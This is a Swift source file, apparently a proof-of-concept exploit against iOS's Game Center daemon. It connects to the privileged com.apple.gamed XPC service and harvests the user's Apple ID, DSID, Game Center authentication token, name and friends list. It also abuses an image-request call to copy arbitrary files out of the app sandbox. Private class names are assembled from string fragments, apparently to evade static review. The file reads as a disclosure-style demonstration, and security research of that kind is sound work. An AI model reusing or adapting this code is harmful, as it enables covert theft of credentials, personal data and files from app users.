
import Foundation
import GameKit
import Dynamic

var client: GamedClient!
var connection: NSXPCConnection!

func getData(files: [String], handler: @escaping (String, String) -> Void, fileExtractionCompletion: @escaping () -> Void) {

    let profileServiceInterface = NSXPCInterface(with: GKProfileService.self)
    profileServiceInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSClassFromString(["GKFri", "ndPlayerInternal"].joined(separator: "e")), NSClassFromString(["GKFami", "iarPlayerInternal"].joined(separator: "l")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("getProfilesForPlayerIDs:handler:"), argumentIndex: 0, ofReply: true)

    let friendServiceInterface = NSXPCInterface(with: GKFriendService.self)
    friendServiceInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSClassFromString(["GKFri", "ndPlayerInternal"].joined(separator: "e")), NSClassFromString(["GKFami", "iarPlayerInternal"].joined(separator: "l")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("getFriendsForPlayer:handler:"), argumentIndex: 0, ofReply: true)

    let interface = NSXPCInterface(with: GKDaemonProtocol.self)
    let servicesSelector = NSSelectorFromString("getServicesForPID:localPlayer:reply:")
    interface.setInterface(.init(with: GKAccountService.self), for: servicesSelector, argumentIndex: 0, ofReply: true)
    interface.setInterface(profileServiceInterface, for: servicesSelector, argumentIndex: 1, ofReply: true)
    interface.setInterface(friendServiceInterface, for: servicesSelector, argumentIndex: 2, ofReply: true)
    interface.setInterface(.init(with: GKGameService.self), for: servicesSelector, argumentIndex: 3, ofReply: true)
    interface.setInterface(.init(with: GKGameStatService.self), for: servicesSelector, argumentIndex: 4, ofReply: true)
    interface.setInterface(.init(with: GKChallengeService.self), for: servicesSelector, argumentIndex: 5, ofReply: true)
    interface.setInterface(.init(with: GKMultiplayerService.self), for: servicesSelector, argumentIndex: 6, ofReply: true)
    interface.setInterface(.init(with: GKTurnBasedService.self), for: servicesSelector, argumentIndex: 7, ofReply: true)
    interface.setInterface(.init(with: GKUtilityService.self), for: servicesSelector, argumentIndex: 8, ofReply: true)
    interface.setInterface(.init(with: GKBulletinService.self), for: servicesSelector, argumentIndex: 9, ofReply: true)
    interface.setInterface(.init(with: GKAnalyticsService.self), for: servicesSelector, argumentIndex: 10, ofReply: true)
    interface.setInterface(.init(with: GKGameSessionService.self), for: servicesSelector, argumentIndex: 11, ofReply: true)
    interface.setInterface(.init(with: GKTournamentService.self), for: servicesSelector, argumentIndex: 12, ofReply: true)
    let privateServicesSelector = NSSelectorFromString("getPrivateServicesForPID:localPlayer:reply:")
    interface.setInterface(.init(with: GKAccountServicePrivate.self), for: privateServicesSelector, argumentIndex: 0, ofReply: true)
    interface.setInterface(.init(with: GKProfileServicePrivate.self), for: privateServicesSelector, argumentIndex: 1, ofReply: true)
    interface.setInterface(.init(with: GKFriendServicePrivate.self), for: privateServicesSelector, argumentIndex: 2, ofReply: true)
    interface.setInterface(.init(with: GKGameServicePrivate.self), for: privateServicesSelector, argumentIndex: 3, ofReply: true)
    interface.setInterface(.init(with: GKGameStatServicePrivate.self), for: privateServicesSelector, argumentIndex: 4, ofReply: true)
    interface.setInterface(.init(with: GKChallengeServicePrivate.self), for: privateServicesSelector, argumentIndex: 5, ofReply: true)
    interface.setInterface(.init(with: GKMultiplayerServicePrivate.self), for: privateServicesSelector, argumentIndex: 6, ofReply: true)
    interface.setInterface(.init(with: GKTurnBasedServicePrivate.self), for: privateServicesSelector, argumentIndex: 7, ofReply: true)
    interface.setInterface(.init(with: GKUtilityServicePrivate.self), for: privateServicesSelector, argumentIndex: 8, ofReply: true)
    interface.setInterface(.init(with: GKBulletinServicePrivate.self), for: privateServicesSelector, argumentIndex: 9, ofReply: true)
    interface.setInterface(.init(with: GKAnalyticsServicePrivate.self), for: privateServicesSelector, argumentIndex: 10, ofReply: true)
    interface.setInterface(.init(with: GKGameSessionServicePrivate.self), for: privateServicesSelector, argumentIndex: 11, ofReply: true)
    interface.setInterface(.init(with: GKTournamentServicePrivate.self), for: privateServicesSelector, argumentIndex: 12, ofReply: true)

    let clientInterface = NSXPCInterface(with: GKClientProtocol.self)
    clientInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("authenticatedPlayersDidChange:reply:"), argumentIndex: 0, ofReply: false)

    client = GamedClient()
    connection = Dynamic.NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
    connection.remoteObjectInterface = interface
    connection.exportedInterface = clientInterface
    connection.exportedObject = client
    connection.resume()
    let proxy = connection.remoteObjectProxyWithErrorHandler({ print($0) }) as! GKDaemonProtocol

    let pid = ProcessInfo.processInfo.processIdentifier
    proxy.getServicesForPID(pid, localPlayer: nil, reply: {
        (accountService, profileService, friendService, _, _, _, _, _, utilityService, _, _, _, _) in

        proxy.getPrivateServices(forPID: pid, localPlayer: nil, reply: {
            (_, _, _, _, _, _, _, _, _, _, _, _, _) in

            accountService!.authenticatePlayerWithExistingCredentials(handler: { response, error in
                if let response = response, let credential = response.credential {
                    handler("Apple ID", credential.accountName)
                    if let dsid = credential.dsid {
                        handler("DSID", dsid)
                    }
                    handler("altDSID", credential.altDSID)
                    handler("Game Center Authentication Token", credential.authenticationToken)
                    let player = credential.playerInternal!
                    handler("Player ID", player.playerID)
                    if player.gamePlayerID != "Unavailable Player Identification" {
                        handler("Game Player ID", player.gamePlayerID)
                    }
                    if player.teamPlayerID != "Unavailable Player Identification" {
                        handler("Team Player ID", player.teamPlayerID)
                    }

                    profileService!.getProfilesForPlayerIDs([player.playerID], handler: { profiles, error in
                        if let error = error {
                            print(error)
                        }
                        if let profile = profiles?.first as? NSObject {
                            if let alias = player.value(forKey: "alias") as? String {
                                handler("Nickname", alias)
                            }
                            if let firstName = profile.value(forKey: "firstName") as? String {
                                handler("First Name", firstName)
                            }
                            if let lastName = profile.value(forKey: "lastName") as? String {
                                handler("Last Name", lastName)
                            }
                        }
                        friendService!.getFriendsForPlayer(player, handler: { friends, error in
                            if let error = error {
                                print(error)
                            }
                            if let friends = friends {
                                for friend in friends {
                                    if let friend = friend as? NSObject {
                                        var components = [String]()
                                        if let compositeName = friend.value(forKey: "compositeName") as? String {
                                            components.append(compositeName)
                                        }
                                        if let alias = friend.value(forKey: "alias") as? String {
                                            components.append(alias)
                                        }
                                        if let playerID = friend.value(forKey: "playerID") as? String {
                                            components.append(playerID)
                                        }
                                        if !components.isEmpty {
                                            handler("Friend", components.joined(separator: " | "))
                                        }
                                    }
                                }
                            }
                        })
                    })
                } else if let error = error {
                    print(error)
                }

                var i = files.count
                for file in files {
                    utilityService!.requestImageData(for: URL(fileURLWithPath: file, isDirectory: false), subdirectory: nil, fileName: nil, handler: { data in
                        if let data = data {
                            let path = documentsPath + "/" + file.components(separatedBy: "/").last!
                            do {
                                try data.write(to: URL(fileURLWithPath: path))
                            } catch {
                                print(error)
                            }
                        }
                        i -= 1
                        if i == 0 {
                            fileExtractionCompletion()
                        }
                    })
                }
            })
        })
    })
}

@objc class GamedClient: NSObject, GKClientProtocol {
    func receivedChallengeSelected(_ arg1: GKChallengeInternal!) {

    }

    func resetNetworkActivity() {

    }

    func scoreSelected(_ arg1: GKScoreInternal!) {

    }

    func acceptMultiplayerGameInvite() {

    }

    func session(_ arg1: GKGameSession!, addedPlayer arg2: GKCloudPlayer!) {

    }

    func acceptInvite(withNotification arg1: Any!) {

    }

    func setLogBits(_ arg1: Int32) {

    }

    func cancelGameInvite(_ arg1: String!) {

    }

    func requestSandboxExtension(_ arg1: ((String?) -> Void)!) {

    }

    func beginNetworkActivity() {

    }

    func completedChallengeSelected(_ arg1: GKChallengeInternal!) {

    }

    func localPlayerAcceptedCustomTournamentInvite() {

    }

    func refreshContents(forDataType arg1: UInt32, userInfo arg2: Any!) {

    }

    func session(_ arg1: GKGameSession!, player arg2: GKCloudPlayer!, didChangeConnectionState arg3: Int64) {

    }

    func challengeReceived(_ arg1: GKChallengeInternal!) {

    }

    func session(_ arg1: GKGameSession!, removedPlayer arg2: GKCloudPlayer!) {

    }

    func didDisconnectFromParticipant(withID arg1: String!) {

    }

    func didConnectToParticipant(withID arg1: String!) {

    }

    func declineInvite(withNotification arg1: Any!) {

    }

    func responded(toNearbyInvite arg1: Any!) {

    }

    func setBadgeCount(_ arg1: UInt64, forType arg2: UInt64) {

    }

    func setPreferencesValues(_ arg1: Any!) {

    }
//
//    func friendRequestSelected(_ arg1: GKFriendRequestInternal!) {
//
//    }

    func relayPushNotification(_ arg1: Any!) {

    }

    func setCurrentGame(_ arg1: GKGameInternal!, serverEnvironment arg2: Int64, reply arg3: (() -> Void)!) {
        arg3()
    }

    func endNetworkActivity() {

    }

    func challengeCompleted(_ arg1: GKChallengeInternal!) {

    }

    func achievementSelected(_ arg1: GKAchievementInternal!) {

    }

    func fetchTurnBasedData() {

    }

    func authenticatedPlayersDidChange(_ arg1: Any!, reply arg2: (() -> Void)!) {
        arg2()
    }

    func completedOptimisticAuthentication(with arg1: GKAuthenticateResponse!, error arg2: Error!) {

    }

    func session(_ arg1: GKGameSession!, didReceiveMessage arg2: String!, with arg3: Data!, from arg4: GKCloudPlayer!) {

    }

    func didReceive(_ arg1: Data!, reliably arg2: Bool, forRecipients arg3: Any!, fromSender arg4: String!) {

    }

    func session(_ arg1: GKGameSession!, player arg2: GKCloudPlayer!, didSave arg3: Data!) {

    }

    func session(_ arg1: GKGameSession!, didReceive arg2: Data!, from arg3: GKCloudPlayer!) {

    }
}
